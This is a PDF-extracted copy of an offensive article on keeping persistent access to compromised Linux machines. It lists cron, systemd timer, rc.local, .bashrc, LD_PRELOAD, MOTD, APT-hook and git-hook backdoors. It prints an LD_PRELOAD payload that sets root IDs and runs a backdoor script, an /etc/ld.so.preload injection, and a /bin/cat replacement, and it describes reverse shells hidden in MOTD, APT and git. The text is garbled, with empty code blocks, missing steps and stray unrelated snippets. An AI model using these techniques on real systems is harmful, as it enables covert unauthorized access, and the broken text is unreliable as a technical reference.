Linux Pers
Linux Pers
hadess.io/the-art-of-linux-persistence/
1/21
Account Creation in Linux
Linux operating system can usually have two types of account “Root” and “User” account. There are two
usually two ways to manipulate the Accounts to maintain the persistence access to the machine :
shell
# to be able to login into the created account , an password should be set for that account
```sh
```
An adversary can generate the SSH keys using `ssh-keygen` it will generate the public key `id_rsa.pub` like
so :
3/21
```
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCwIqohDVyEsHt5lHcI86scq5EWVm+DYpvhuolEV8EnkOonUFABgC2/9KdbMlG/di19N3oW
Ro60WG1F/LbRg5TNBzfuaKSU5UDoGCOI6m/DzwBkSfJUcnRoYg/2OSSPnqQP+V8aCISyiHcs5LuS996t9oGKWiwyyg4ScXeIGtlK
ZzgHPUl2+L6K2Rtga+GsI+X4sXUSAYbNR9xPDxwPqw5+ShwT7F+1HzR3ITI+uzySXKQVq4cXMkaJvuiwW1r/R8oeyd05DWlj67OC
yH9ZS4dnamDoXdGYZ1B/DFp4eZQX5TB9Ggwu2FZ/aeWzv+tRPBDw5LKGdNtSfS7l+wNZNFUSeuNJdWYBNA0Dww4SMkgZdY8K95s1
QiG/EcajFjGulbsl8Cpnmx3nTJsMdBtsRLgKIPylA0DWysgrL6cyEIXkCoIs/tnv+YCvvnTAEvbINEB0VMSaJUtqID5tG7+MbdOt
/Lew9jmeh/uYfQ7i60zHfZNKJ3/lCPeKEN/aExui7k0= root@kali
```
for evading the detection , we can also replace the name at the end to something legitimate eg : `ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCwIqohDVyEsHt5l…… [email protected]`
Cron Jobs
Cronjobs are the way of creating a schedule task in linux machine , just like we use `sachtasks` in windows.
we can create our malicious cron job to give us persistence access , usually these are done by configuring
the specific files , here are few of them :
– `/etc/crontab`
– `/etc/cron.d/*`
– `/etc/cron.{hourly,daily,weekly,monthly}/*`
– `/var/spool/cron/crontab/*`
If you are a user you can modify your own `crontab` , using `crontab -e`. This will create a file
in `/var/spool/cron/crontab/<user>` in specific to user who is doing the modification. for example , here is how
malicious cron job file would look like :
*/5 * * * * /opt/backdoor.sh
so , when we create any cron job using the command like `crontabl -e` it will create a file in
`/var/spool/cron/crontab/<user>` but it will create their configuration file in
`etc/crontab` or `/etc/crontab.d/<ARBITRARY FILE>`. Unlike the files in `/var/spool/cron/*` where the user of
4/21
the jobs are implied based on the whose crontab it is, the lines in `/etc/crontab` include a username. an
malicious adversary with root privilege can modify these files to gain persistence access to machine .
Example :
```shell
vi /etc/crontab/
```
Systemd Timers
This is yet another uncommon approach of getting persistence access to linux machine. so , what happens
is , usually all the services within the linux machine are triggered on boot time , they have specific init entry in
boot process. but these services can be triggered at specific times also using `timers`.
To see the timers within the machines we can using the following command : `systemctl list-timers`
to create our malicious `timer` file persistence access , we would need two things :
The .service files are like all the other services file out there , that are configure to do specific task like trigger
our backdoor script , we can do that like so :
5/21
[Unit]
Description=Bad service
[Service]
ExecStart=/opt/backdoor.sh
Now we need to create .timer file , which are nothing but the trigger file , that will trigger our malicious service
at specific timing. example :
[Unit]
Description=malicious timer
[Timer]
OnBootSec=5
OnUnitActiveSec=5m
[Install]
WantedBy=timers.target
Here `OnUnitActiveSec=5m`: is how long to wait before triggering the service again , after every 5minute we
will get our service triggered , and potentially give us persistence access to the machine
```shell
# systemctl daemon-reload
```
6/21
Files Working
~/.bash_profile, ~/.bash_login, User specific files , but which found first are executed
~/.profile first
/etc/profile.d all the .sh files are exeucted at the start of login shells
Tip : Try to first modify the `~/.profile` or `/etc/profile` to hide yourself without braking the shell normal
configuration
```shell
# if running bash
if [ -n "$BASH_VERSION" ]; then
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
chmod +x /opt/backdoor.sh
/opt/backdoor.sh
```
7/21
This is and advance persistence technqiue , usually used in **rootkit development for linux**. Before
abusing this technique to leverage the persistence access to the linux machine , lets first understand what is
dynamic linker is in linux :
In mordern operating system the program can be linked statically or dynamically during the runtime.
Dynamically linked binaries use shared libraries located on the operating system. These libraries will be
resolved, loaded, and linked at runtime. The Linux component that is in charge of this operation is
the **dynamic linker**, also known as `ld.so` or `ld-linux.so.*`. A number of environment variables are used
during the execution of the dynamic linker, the most important of which is **LD_PRELOAD**.
What is LD_PRELOAD
The Linux dynamic linker component called LD_PRELOAD , which provide exellent capability to hold the a
list of user-speciifc , ELF-shared object files. The LD_PRELOAD allow us to load these shared object files
into to process’s address space prior to the program itself, thus potentially allowing the control over the
execution flow. The LD_PRELOAD can be set using by writing to the `/etc/ld.so.preload` file or utilizing
the `LD_PRELOAD` environment variable.
Its mainly used for debuggin , runtime testing of program, but it can be abused by writing a malicious shared
object entry in LD_PRELOAD .
**By default both LD_PRELOAD variable and file /etc/ld.so.preload are not set** , so if We can use `ldd`
or `strace` to find the dependency of library and library files opend in memory respectively , it will show “no
such file found” . eg of “ls” binary in linux
8/21
Creating malicious Shared object Library for Persistence
**preload.c**
```shell
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/opt/backdoor.sh");
```
```
```
This will generate the desired .so file , that we can now use for persistence.
Now just add this to `echo “”/tmp/preload.so” >> /etc/ld.so.preload` , such that any time an program is loaded
into memory , first your malicious shared object file load , and potentially allow us persistance access.
SUID binary
9/21
SUID (Set User ID) is a special type of file permission given to a file in Linux and Unix systems. When a user
executes an SUID-enabled file, the file runs with the permissions of the file owner, not the user who ran it.
This is particularly useful for allowing users to execute programs with temporarily elevated privileges.
Example Scenario
Let’s say we have a script that needs to be run with root privileges, but we want to allow a non-root user to
execute it.
Create a Script: First, write a script that performs the desired task. For example, a script to list contents of a
root-owned directory:
#!/bin/bash ls /root
Save and Make Executable: Save this script as listRootDir.sh and make it executable:
chmod +x listRootDir.sh
rc.common/rc.local
Location: Typically, rc.local is located at /etc/rc.local.
Purpose: It’s executed by the init system at the end of the boot process.
Custom Commands: Administrators can place custom startup commands in this file.
1. Edit rc.local: Open the rc.local file with a text editor. You need root privileges to edit it.
Add Commands: Before the exit 0 line, add the commands or scripts you want to execute at startup. For
example, to start a custom script:
10/21
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
/path/to/your/script.sh
exit 0
Make rc.local Executable: If rc.local is not already executable, change its permissions:
sudo reboot
sudo /usr/bin/myservice
Systemd Services
Using systemd services is a modern and efficient way to achieve persistence in Linux. systemd is the init
system and service manager in most Linux distributions, responsible for bootstrapping the user space and
managing system processes after booting. By creating a custom systemd service, you can ensure that
specific applications or scripts run automatically at system startup.
#!/bin/bash
echo "My custom service is running" > /tmp/custom_service.log
chmod +x /path/to/my_script.sh
11/21
Create a Service File: Create a new systemd service file in /etc/systemd/system/. For example,
my_custom_service.service:
[Unit]
Description=My custom service
After=network.target
[Service]
Type=simple
ExecStart=/path/to/my_script.sh
Restart=on-abort
[Install]
WantedBy=multi-user.target
Reload systemd Daemon: After creating the service file, reload the systemd daemon to read the new service
file:
Enable and Start Your Service: Enable your service to start on boot, and then start the service
immediately:
Security Considerations
Minimal Privileges: Run your service with the least privileges necessary.
Secure Script: Ensure your script is secure and does not expose any vulnerabilities.
Logging: Implement logging within your script for monitoring and debugging.
12/21
Advantages of Using systemd Services
Trap
The trap command in Linux is used in shell scripts to respond to signals and other system events. It allows
you to specify a command or a script to execute when the script receives a signal. While trap is not typically
used directly for persistence, it can be used to make scripts more robust, handle cleanup tasks, or ensure
certain actions are taken even if the script is interrupted. This can indirectly contribute to a more reliable and
persistent system behavior.
The trap command can catch signals and execute a specified command or set of commands when a signal
is received. Common signals include SIGINT (interrupt, typically sent by pressing Ctrl+C), SIGTERM
(termination signal), and EXIT (when the script exits normally or through one of the signals).
Example Usage
1. Handling Interruptions: Create a script that cleans up temporary files even if it’s interrupted.
13/21
#!/bin/bash
# Normal cleanup
cleanup
1. In this script, if the user interrupts the script with Ctrl+C or if the script receives a termination signal, the
cleanup function is called to remove the temporary file.
2. Logging on Exit: A script that logs a message every time it exits, regardless of how it was terminated.
#!/bin/bash
log_exit() {
echo "Script exited at $(date)" >> /var/log/script.log
}
This script will log a message to /var/log/script.log every time it exits, whether normally or through a
signal.
The .bashrc file is executed whenever a user opens a new Bash shell. By adding a command to this file,
you can ensure that the command is executed every time the user opens a terminal.
14/21
Steps
1. Access the File: Open the user’s .bashrc file with a text editor. You need to have appropriate
permissions to do this.
nano ~/.bashrc
Insert Command: Add your command at the end of the file. For example, to create a simple log entry every
time the user opens a shell:
3. Save and Exit: Save the file and exit the editor. The command will now run every time the user starts a
new shell session.
Let’s say you’re conducting a security training exercise and want to demonstrate how a backdoor in .bashrc
works. You could add a script that harmlessly reports shell usage:
15/21
Example: Blocking execve system call in a C program:
#include <seccomp.h>
...
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);
16/21
ln -s /path/to/real/file /path/to/symlink
Using chroot or mount namespaces to isolate and modify the process’s view of the filesystem.
Login Scripts
XDG Autostart
[Desktop Entry]
Type=Application
Exec=/path/to/script.sh
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=MyScript
udev Rules
Alias Commands
17/21
Method: Define aliases in ~/.bashrc or ~/.bash_aliases.
Example: Creating an alias for ls.
mv /bin/cat /bin/cat.original
echo -e '#!/bin/bash\n/bin/cat.original "$@"' > /bin/cat
chmod +x /bin/cat
Kernel Modules
CREATE TRIGGER example_trigger AFTER INSERT ON my_table FOR EACH ROW BEGIN CALL my_procedure(); END;
MOTD Backdooring
MOTD stands for Message of The Day which is a message that gets displayed to users when they SSH into
the system. It’s configured in the /etc/update-motd.d/ directory and threat actors can place arbitrary
commands into any of the files listed there. Therefore for this article it can be used as a method of
persistence and we get a reverse shell back whenever a user SSH to the system.
PoC
For this scenario we’ll be editing the MOTD header file to include a reverse shell one liner.
1. Edit /etc/update-motd.d/00-header:
18/21
To persist we’ll use the following one liner:
2. SSH into the system: a user must SSH to the system in order for the MOTD to be displayed to them
and along with it, our one liner be executed.
3. After SSHing:
APT Backdooring
APT is the go to package manager in Debian based systems and stands for Advanced Packaging Tool.
Package managers are tools that are available to us for installing/removing/updating packages and the
system itself. APT can be accessed using the command apt and configured in the directory /etc/apt. APT
and other package managers as well have a concept named hooks which are used to do something
before/after installing/removing/updating etc. Usually used to maintain packages and avoid breaking the
system. From a threat actor’s perspective it can be used to maintain persistence via creating a hook to give
us access to the system whenever for example, apt update action is occurring.
PoC
For this scenario we’ll be installing a hook before apt update to give us a shell back.
1. Create a hook file: to create a hook file we should do it in /etc/apt/apt.conf.d/ directory. The name can
be anything, the APT will execute it non the less:
2. Apt update: after a user invokes the command apt update our hook also gets executed resulting a
reverse shell thus achieving persistence:
Git Backdooring
Git is a distributed version control system that tracks changes in any set of computer files, usually used for
coordinating work among programmers who are collaboratively developing source code during software
development. There are two concepts in git that can be of use to threat actors: hooks & config file.
Hooks:
Just like how we installed hooks in APT, this can be done for git too. We can install hooks for pre-
commit/post-commit/pre-merge/post-merge/..
19/21
These hooks must be placed in the .git/hooks/ directory. They cannot be named anything that you want, they
have their own unique names such as pre-commit. After creating them they must have the executable bit set
in their permission.
PoC
For this scenario we’ll be creating a pre-commit hook and place our reverse shell one liner in it and set its
executable bit permission and then add a new commit to gain access to the system.
1. Create the pre-commit hook: this file must be created in .git/hooks/ directory.
After that it must be made executable using the command sudo chmod +x .git/hooks/pre-commit.
2. Add a new commit: this hook will get triggered just before adding a new commit.
Config
There are some environment variables and can be set to execute arbitrary commands whenever an action is
about to take place like git log and its respective environment variable, GIT_PAGER. This variable is used to
define a pager to be used when git log is called. These options can also be set in .git/config file and
~/.gitconfig as well.
PoC
For this scenario we’ll be editing the pager option and include our reverse shell one liner there to be
executed whenever a user runs git log .
1. Configure the config file: we must add a new entry in the [core] section of the file named pager.
This basically executes our reverse shell and also uses less to show the git log as expected.
2. Git log: after a user runs this command our command gets executed.
Backdooring OpenVPN
20/21
OpenVPN is an open-source software application that provides a secure point-to-point or site-to-site
connection in routed or bridged configurations. It’s commonly used for creating virtual private networks
(VPNs) to enable secure communication over the internet. Users typically connect to an OpenVPN server
using client software and a configuration file with a .ovpn extension.
A threat actor could modify the .ovpn configuration files to include a backdoor, allowing them to maintain
persistent access. This could involve adding additional configuration directives that enable unauthorized
access or hide the presence of the threat actor.
Security Researchers
Amir Gholizadeh (@arimaqz), Surya Dev Singh (@kryolite_secure), ADHOKSHAJ
MISHRA(@adhokshajmishra)
21/21